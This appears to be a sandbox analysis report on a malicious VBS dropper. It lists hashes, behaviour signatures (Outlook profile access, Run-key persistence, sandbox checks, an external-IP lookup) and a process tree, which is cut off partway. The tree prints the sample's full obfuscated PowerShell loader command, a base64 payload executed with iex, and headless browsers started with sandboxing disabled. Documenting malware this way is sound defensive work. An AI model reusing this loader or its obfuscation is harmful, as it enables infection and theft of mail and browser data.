048b16aa8b4c5fcfddc7609999446ff888f7106e2f4fa106a459fdeb21c81e82

Analysis

max time kernel
149s
max time network
106s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
28/10/2025, 08:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
output_1761551725.vbs
Size 1.1MB
Sample251028-kfkcjsdw5e
SHA256 048b16aa8b4c5fcfddc7609999446ff888f7106e2f4fa106a459fdeb21c81e82
MD5 aa3a8dc8406e4998da963b0401376c8d
SHA1 7d9ec8c5f8c75b97346517370c9147f84d8d0f9b
SHA512 0a1608fce8dbf73a7b948426dd919c6f51ed1026a04c101e42b014af0fc273358f45624030971843628c7317911a2ffd8b02636a922ae345282341fd12c131b7
SSDEEP 24576:DYnS+hsXiP43kGrsGDfDWzzF6V/s8Oo8lKtq2HmEFHx56kwdOzXuw+ME1c5:AUo3rvKpGQz+UuwC6
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

collection execution persistence

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4720	1728	cmd.exe	79

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
48	872	powershell.exe
49	872	powershell.exe
50	872	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4256	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-954806191-3584048385-2656851463-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-954806191-3584048385-2656851463-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-954806191-3584048385-2656851463-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-954806191-3584048385-2656851463-1000\Software\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\Users\\Admin\\AppData\\Roaming\\powershell.exe"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
872	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	icanhazip.com

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
872	powershell.exe
872	powershell.exe
4256	powershell.exe
4256	powershell.exe
872	powershell.exe
4464	chrome.exe
4464	chrome.exe
872	powershell.exe
872	powershell.exe
872	powershell.exe
872	powershell.exe
872	powershell.exe
872	powershell.exe
872	powershell.exe
872	powershell.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
872	powershell.exe
872	powershell.exe
1888	chrome.exe
1888	chrome.exe
872	powershell.exe
872	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	872	powershell.exe
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeShutdownPrivilege	4464	chrome.exe
Token: SeCreatePagefilePrivilege	4464	chrome.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
4464	chrome.exe
4464	chrome.exe
5232	msedge.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
5304	firefox.exe
1888	chrome.exe
1888	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5304	firefox.exe
872	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4720 wrote to memory of 5728	4720	cmd.exe	82
PID 4720 wrote to memory of 5728	4720	cmd.exe	82
PID 5728 wrote to memory of 4400	5728	cmd.exe	83
PID 5728 wrote to memory of 4400	5728	cmd.exe	83
PID 4400 wrote to memory of 872	4400	cmd.exe	85
PID 4400 wrote to memory of 872	4400	cmd.exe	85
PID 872 wrote to memory of 4464	872	powershell.exe	88
PID 872 wrote to memory of 4464	872	powershell.exe	88
PID 4464 wrote to memory of 5040	4464	chrome.exe	89
PID 4464 wrote to memory of 5040	4464	chrome.exe	89
PID 4464 wrote to memory of 2500	4464	chrome.exe	90
PID 4464 wrote to memory of 2500	4464	chrome.exe	90
PID 4464 wrote to memory of 3320	4464	chrome.exe	91
PID 4464 wrote to memory of 3320	4464	chrome.exe	91
PID 4464 wrote to memory of 2660	4464	chrome.exe	92
PID 4464 wrote to memory of 2660	4464	chrome.exe	92
PID 4464 wrote to memory of 720	4464	chrome.exe	93
PID 4464 wrote to memory of 720	4464	chrome.exe	93
PID 4464 wrote to memory of 2760	4464	chrome.exe	94
PID 4464 wrote to memory of 2760	4464	chrome.exe	94
PID 4464 wrote to memory of 1460	4464	chrome.exe	95
PID 4464 wrote to memory of 1460	4464	chrome.exe	95
PID 4464 wrote to memory of 5876	4464	chrome.exe	96
PID 4464 wrote to memory of 5876	4464	chrome.exe	96
PID 4464 wrote to memory of 2452	4464	chrome.exe	97
PID 4464 wrote to memory of 2452	4464	chrome.exe	97
PID 4464 wrote to memory of 1200	4464	chrome.exe	98
PID 4464 wrote to memory of 1200	4464	chrome.exe	98
PID 4464 wrote to memory of 1532	4464	chrome.exe	125
PID 4464 wrote to memory of 1532	4464	chrome.exe	125
PID 872 wrote to memory of 4464	872	powershell.exe	88
PID 872 wrote to memory of 4464	872	powershell.exe	88
PID 4464 wrote to memory of 872	4464	chrome.exe	85
PID 872 wrote to memory of 5232	872	powershell.exe	101
PID 872 wrote to memory of 5232	872	powershell.exe	101
PID 5232 wrote to memory of 836	5232	msedge.exe	102
PID 5232 wrote to memory of 836	5232	msedge.exe	102
PID 872 wrote to memory of 836	872	powershell.exe	102
PID 872 wrote to memory of 836	872	powershell.exe	102
PID 836 wrote to memory of 872	836	msedge.exe	85
PID 5232 wrote to memory of 3624	5232	msedge.exe	103
PID 5232 wrote to memory of 3624	5232	msedge.exe	103
PID 5232 wrote to memory of 5468	5232	msedge.exe	104
PID 5232 wrote to memory of 5468	5232	msedge.exe	104
PID 5232 wrote to memory of 3440	5232	msedge.exe	105
PID 5232 wrote to memory of 3440	5232	msedge.exe	105
PID 5232 wrote to memory of 5312	5232	msedge.exe	106
PID 5232 wrote to memory of 5312	5232	msedge.exe	106
PID 5232 wrote to memory of 2976	5232	msedge.exe	107
PID 5232 wrote to memory of 2976	5232	msedge.exe	107
PID 5232 wrote to memory of 2784	5232	msedge.exe	108
PID 5232 wrote to memory of 2784	5232	msedge.exe	108
PID 5232 wrote to memory of 4076	5232	msedge.exe	109
PID 5232 wrote to memory of 4076	5232	msedge.exe	109
PID 5232 wrote to memory of 4544	5232	msedge.exe	110
PID 5232 wrote to memory of 4544	5232	msedge.exe	110
PID 5232 wrote to memory of 1244	5232	msedge.exe	111
PID 5232 wrote to memory of 1244	5232	msedge.exe	111
PID 5232 wrote to memory of 3360	5232	msedge.exe	112
PID 5232 wrote to memory of 3360	5232	msedge.exe	112
PID 5232 wrote to memory of 2824	5232	msedge.exe	113
PID 5232 wrote to memory of 2824	5232	msedge.exe	113
PID 5232 wrote to memory of 4308	5232	msedge.exe	114
PID 5232 wrote to memory of 4308	5232	msedge.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-954806191-3584048385-2656851463-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-954806191-3584048385-2656851463-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\output_1761551725.vbs"
1⤵
PID:5144

C:\Windows\system32\cmd.exe
cmd.exe /c C:\\Users\\Public\\SeedComplex.bat
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Windows\system32\cmd.exe
  cmd /c start "" /min "C:\Users\Public\SeedComplex.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Public\SeedComplex.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBpqfasfusljcz2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFpqfasfusljczwAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVpqfasfusljczABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBupqfasfusljczAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUpqfasfusljczAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfApqfasfusljczA/AHsAJABfACAALQBsAGkAawBlACAAIgA6ApqfasfusljczDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0ApqfasfusljczKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewApqfasfusljczkAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADpqfasfusljczEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcpqfasfusljczwB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwpqfasfusljczAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4pqfasfusljczAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQpqfasfusljczAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkApqfasfusljczF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQApqfasfusljczKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABpqfasfusljczyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACpqfasfusljczAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIpqfasfusljczgB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdABypqfasfusljczAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIpqfasfusljczAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwpqfasfusljczB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiApqfasfusljczDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4ApqfasfusljczUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQApqfasfusljczpADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHpqfasfusljczcATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbpqfasfusljczABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8pqfasfusljczACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4pqfasfusljczAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQpqfasfusljczAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyApqfasfusljczCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQApqfasfusljczNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABpqfasfusljczsAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGpqfasfusljczwAYQBjAGUAIgBhAHYAbwBjAGEAZABvAHAAYpqfasfusljczQBwAGEAeQBhACIALAAiACIALQByAGUAcABspqfasfusljczAGEAYwBlACIAZABwAGcAaABiAGsAYwBmAG0pqfasfusljczAZQBkAGwAdQBwAG8AIgAsACIAIgApADsAaQpqfasfusljczBmACgAJABhAHAAcABsAGUAKQB7AHQAcgB5ApqfasfusljczHsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4ApqfasfusljczYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBpqfasfusljczvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACpqfasfusljczgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcpqfasfusljczgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBupqfasfusljczAGcAKAAkAGEAcABwAGwAZQApACkAKQB9AGMpqfasfusljczAYQB0AGMAaAB7AH0AfQB9AAoAJABvAHIAYQpqfasfusljczBuAGcAZQA9ACcASAA0AHMASQBBAEEAQQBBApqfasfusljczEEAQQBBAEUAQQBKAFYAVQBhAFgAUABhAE0ApqfasfusljczQgBEADkASwA1AHEATQBPADkAZwB0AFYAZQApqfasfusljcz2ADAAQQArAE0AUABoAEoASwBVAEoAdQBUAGpqfasfusljczcAUwBLAFkAQgBwAGkATwBiAEIAUwB2AFkAapqfasfusljczwBwAEYAawB3AEgAVAB5ADMAeQBzAGYAbgBNpqfasfusljczAGsAMAByAFQAOAB3AGEAUABYAGUAMgA5AFgpqfasfusljczAVAByAGcAegBYAFkAWQBzAEYAcwBwAEUAQgpqfasfusljczBiAEYAcgBxAHQARwByAE4AbQAwAHEAagBWApqfasfusljczGoAYgBtAGIAcQBSAEMASABkADYAcgBsAG4ApqfasfusljczbwBkAEMAVQBMADIAagBCAFQAWgBJADkAegBpqfasfusljczGAEQAbABGADcANQBXAEgARQBYAEUAVQA1AFpqfasfusljczEANgBFAFkAZQBhAFkAUgBFAGsARwBDAFgAMpqfasfusljczQBNAGkAcgBOADkASQBmAHcAWQBCAG0AYQB6pqfasfusljczAHMAYgBpAHUAVwBDAGcATABjAEEAagBjAFMpqfasfusljczAVgBNAFcANABLAHUASgBRADgAWgBFAGcAbwpqfasfusljczBSAGYAagBDAHMAaAArAHEAVgBRAFYAUQBCApqfasfusljczFMAWQBWAG4AbQBUAGkAUgB0ADgAQQBPAC8ApqfasfusljczUQBxAHoAVAAwAFEAQwBUAEEAUgBPAFcAOABpqfasfusljcz1AGkAMQB3AFIAdwBZAEQAeQBrAGIAdgBhAEpqfasfusljcz8AUwBvAFgATwBUAHUAcQB0AHIANgBzAGkAMpqfasfusljczQB6AEIAZgBGAEsAbwBzAHIAWgBGAEkAVABTpqfasfusljczAHcAQQB2AEIAZwAzAE0AaQA0AGUAeQBrAHApqfasfusljczAWQBUAG0AbQA0AFgATABaADkARgBvAHEAYwpqfasfusljczA3AEIALwB1AFYAaABHAEEAegBqACsALwAzApqfasfusljczDIARABUAGwAMQBIADUAeQBmAG4ANABZACsApqfasfusljczagBPADcAOQA0AE8AagBwADUATwBqAHIAdABpqfasfusljczCAGIAdgBOACsAegBDAHoAbABuAHIARAAvACpqfasfusljczsAVQBRAG4ANwAzADMAZABvAFAAMgBXAFMAbpqfasfusljczgBvAGgATQBjAFAAdQA0AGYAUgAwADEAKwBOpqfasfusljczAHIATgBYAGMAZwBOAHcAMAA2AE8ASgAxAFApqfasfusljczAcQBWAGUAdQBiAHYAdAArAFgAbQAwAG0AZwpqfasfusljczBCAEsAaABJAHMAZwAyADQAeABjAFYAcwBRApqfasfusljczEoAbwBkAGMAQgBCAGUAVQBFAGYALwBjADUApqfasfusljczKwA1ADQANAA0AGEATAA2AEsAQwBJADEAawBpqfasfusljcz0ADgARABXAHkAawB2AEwAZABLAHcATgArAGpqfasfusljcz8ARABMAGwAOABkAGIAVQA3ADQAWABVAGgANpqfasfusljczQBaAGQAVgBXAHcAMwBqAE8AWgB1ADgANwBxpqfasfusljczAHYAQQBDAHoAMwBIAHYAbwBIAFoANQAxAHYpqfasfusljczAbgBHAFYAeQBGAGMAdAB2AHEAdAA3AGcAQgpqfasfusljczBBAFIAZQB4ADkAZwBwAEkAWQBCAFkAMwBtApqfasfusljczEYAbQBXAEsASgBhAFQANgBIADEAbQBCAG4ApqfasfusljczYQBpACsAZgBQADgAYgBYAEMAVgBCADYARQBpqfasfusljczBAEsAWABXAFIAKwBQAEsASgBoAG4AbgBDAHpqfasfusljczIATABJAGkANgB1ADUAQQBOAHYANwBuAFAAYpqfasfusljczQBZAHYASQBvADkAWgBHADgAawAwAE0ASQB6pqfasfusljczAGIAMwBNAHoAcQAzAE4AcgBaAHMAUwB0AE4pqfasfusljczAdABCAHQATQBXAFcAOABIADIANwB3AGkAQgpqfasfusljczBJAGwAMQBjAE8AMgB1AG8AOQBUAG0AMABPApqfasfusljczFoAdQBIAFcAMABZAEgAZgBsAGkAVABGAGQApqfasfusljczZAAyAFEAVABkAHgAQwBrAFYAVgA2AFMARQBpqfasfusljcz3AFAARgBqAGYAWgBKAHIAVABnAFoAbQAxADpqfasfusljczQAawBWAGQAUAB2ADkAVgA0AGEASABQAEIAbpqfasfusljczwB2ADcARQB3AEkAMQA1AGcAUwA4AFIAMgBupqfasfusljczAFQARwAxAHMANABqAHEAYgA4AGoARwBZAEIpqfasfusljczAbwB0ADgAZgA5AGwAVABXAFIASABsAEYAOApqfasfusljczBQAGoAVQB1AEYATwBIAFQAZgBKAFQAUAA4ApqfasfusljczCsAVQBqAGIAZwBzAHoAWgBWAFAAaQBUAFAApqfasfusljczVgBmAHAAQQBsAFkAMwBJAEcAWAB2AHIAOABpqfasfusljczkAFQAVwBYADEAQQAvADgAYgBnAEoAWgBGAEpqfasfusljczQAeAAvAFQAYgBNAGwAWgBsAGgATABkAHcASpqfasfusljczwBmAGEAcgBNAGIAbwAxAE4AcQBlAEEAcwBBpqfasfusljczAEoAWQBNAG0AYgA3AGkAYQA4AHIAQQBLAHUpqfasfusljczAdAAyAEIAKwBKADYAeQBEAFEAVwAzAG8AUQpqfasfusljczBCAG8AZwB4AGwANgBoAFoASwBEAGEASABEApqfasfusljczDUAUgBaAHUASwBTAEsAVQBmAEsAVABhAHcApqfasfusljczawBLAHAAaABBAHEAVwBsAFEAQgBTAFYASABpqfasfusljczvADIATAAyAEoAVQAyAFUAdAB3ADUATQBoAHpqfasfusljczMAZgBJADgAegBYADUATABQADAAYgBuAEcANpqfasfusljczgBlAHAARgBuADUATQB1AHAATgAzAE4AUQBJpqfasfusljczAG0AUABLAFQAMgB2AHQAdABEAFQAcwAyADIpqfasfusljczANABrAHoARgB4ADcAWABRAGkAawBKAG0AOApqfasfusljczB0ADgAagBzAC8AdQBXAGQAUwBCAFcANwBCApqfasfusljczDMAMwBMADAAbAB4AEIAaABmAHgAZgA2AG0ApqfasfusljczRgBLAFQAWABvAEUAWgBiAGwAUgBlAGsATgApqfasfusljcz1AEoARgBGAEUAWgBuAEYAZABNAFQASQBMAEpqfasfusljczgAegA1AHEARgA4AHAALwBBAE8AagBoAEQAapqfasfusljczABOAE8AQgBnAEEAQQAnADsAJABtAGEAbgBnpqfasfusljczAG8APQBbAEMAbwBuAHYAZQByAHQAXQA6ADopqfasfusljczARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgpqfasfusljczBpAG4AZwAoACQAbwByAGEAbgBnAGUAKQA7ApqfasfusljczCQAcABpAG4AZQBhAHAAcABsAGUAPQBOAGUApqfasfusljczdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBpqfasfusljczlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsACpqfasfusljczQAbQBhAG4AZwBvACkAOwBpAGUAeAAoAE4AZpqfasfusljczQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTpqfasfusljczAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4pqfasfusljczAZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgpqfasfusljczBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHApqfasfusljczFoAaQBwAFMAdAByAGUAYQBtACgAJABwAGkApqfasfusljczbgBlAGEAcABwAGwAZQAsAFsASQBPAC4AQwBpqfasfusljczvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAGpqfasfusljcz0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXpqfasfusljczQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwAppqfasfusljczACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgpqfasfusljczAKQAKAA=='.Replace('pqfasfusljcz','')))))""
      4⤵
      Badlisted process makes network request
      Accesses Microsoft Outlook profiles
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      outlook_office_path
      outlook_win_path
      PID:872
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5"
        5⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:4464
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff9d86bdcf8,0x7ff9d86bdd04,0x7ff9d86bdd10
        6⤵
        
        PID:5040
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1888,i,9705009560476440515,12852025543906875636,262144 --variations-seed-version --mojo-platform-channel-handle=1884 /prefetch:2
        6⤵
        
        PID:2500
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5" --field-trial-handle=1996,i,9705009560476440515,12852025543906875636,262144 --variations-seed-version --mojo-platform-channel-handle=2016 /prefetch:11
        6⤵
        
        PID:3320
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5" --field-trial-handle=2148,i,9705009560476440515,12852025543906875636,262144 --variations-seed-version --mojo-platform-channel-handle=2144 /prefetch:13
        6⤵
        
        PID:2660
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2820,i,9705009560476440515,12852025543906875636,262144 --variations-seed-version --mojo-platform-channel-handle=2836 /prefetch:1
        6⤵
        
        PID:720
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\Admin\AppData\Local\Temp\rcyn4zdl.uh5" --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2840,i,9705009560476440515,12852025543906875636,262144 --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:1
        6⤵
        
        PID:2760
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
